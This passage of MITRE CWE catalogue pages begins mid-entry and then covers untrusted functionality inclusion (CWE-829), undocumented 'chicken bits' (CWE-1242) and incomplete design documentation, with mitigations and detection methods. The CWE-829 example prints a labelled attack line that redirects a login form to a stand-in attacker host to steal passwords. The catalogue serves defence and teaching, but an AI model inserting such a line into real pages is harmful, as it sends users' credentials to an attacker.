CanAlsoBe Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 290 Authentication Bypass by Spoofing
CanAlsoBe Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1006 Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation

This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).
Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
Security check not applied to all components, allowing bypass.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 978 SFP Secondary Cluster: Implementation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Improperly Implemented Security Check for Standard
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-10-29 CWE Content Team MITRE
updated Modes_of_Introduction, Observed_Examples, Other_Notes, Relationship_Notes
2009-05-27 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID: 829
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
+ Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands

Scope: Confidentiality, Integrity, Availability

An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 827 Improper Control of Document Type Definition
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 830 Inclusion of Web Functionality from an Untrusted Source
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1016 Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Demonstrative Examples

Example 1


This login webpage includes a weather widget from an external website:

(bad code)
Example Language: HTML 
<div class="header"> Welcome!
<div id="loginBox">Please Login:
<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

(attack code)
Example Language: JavaScript 

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
+ Detection Methods
Method Details

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1354 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-11-29
(CWE 1.11, 2010-12-13) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-01-19 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
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CWE-1242: Inclusion of Undocumented Features or Chicken Bits

Weakness ID: 1242
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.
+ Extended Description

A common design practice is to use undocumented bits on a device that can be used to disable certain functional security features. These bits are commonly referred to as "chicken bits". They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Memory; Read Memory; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; Bypass Protection Mechanism

Scope: Confidentiality, Integrity, Availability, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation

The implementation of chicken bits in a released product is highly discouraged. If implemented at all, ensure that they are disabled in production devices. All interfaces to a device should be documented.

Effectiveness: High
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 912 Hidden Functionality
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1198 Privilege Separation and Access Control Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Documentation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.

(bad code)
Example Language: Other 
Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.



+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 4-1 Req SD-4
ISA/IEC 62443 Part 4-1 Req SVV-3
ISA/IEC 62443 Part 4-2 Req CR 2.12
+ References
[REF-1071] Ali Abbasi, Tobias Scharnowski and Thorsten Holz. "Doors of Durin: The Veiled Gate to Siemens S7 Silicon".
<https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf>.
[REF-1072] Sergei Skorobogatov and Christopher Woods. "Breakthrough Silicon Scanning Discovers Backdoor in Military Chip".
<https://www.cl.cam.ac.uk/~sps32/Silicon_scan_draft.pdf>.
[REF-1073] Chris Domas. "God Mode Unlocked: Hardware Backdoors in x86 CPUs".
<https://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs.pdf>.
[REF-1074] Jonathan Brossard. "Hardware Backdooring is Practical".
<https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH_US_12_Brossard_Backdoor_Hacking_Slides.pdf>.
[REF-1075] Sergei Skorabogatov. "Security, Reliability, and Backdoors".
<https://www.cl.cam.ac.uk/~sps32/SG_talk_SRB.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-02-13
(CWE 4.0, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, Related_Attack_Patterns
Back to top

CWE-1110: Incomplete Design Documentation

Weakness ID: 1110
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1225 Documentation Issues
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ References
[REF-963] Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996-07.
<https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
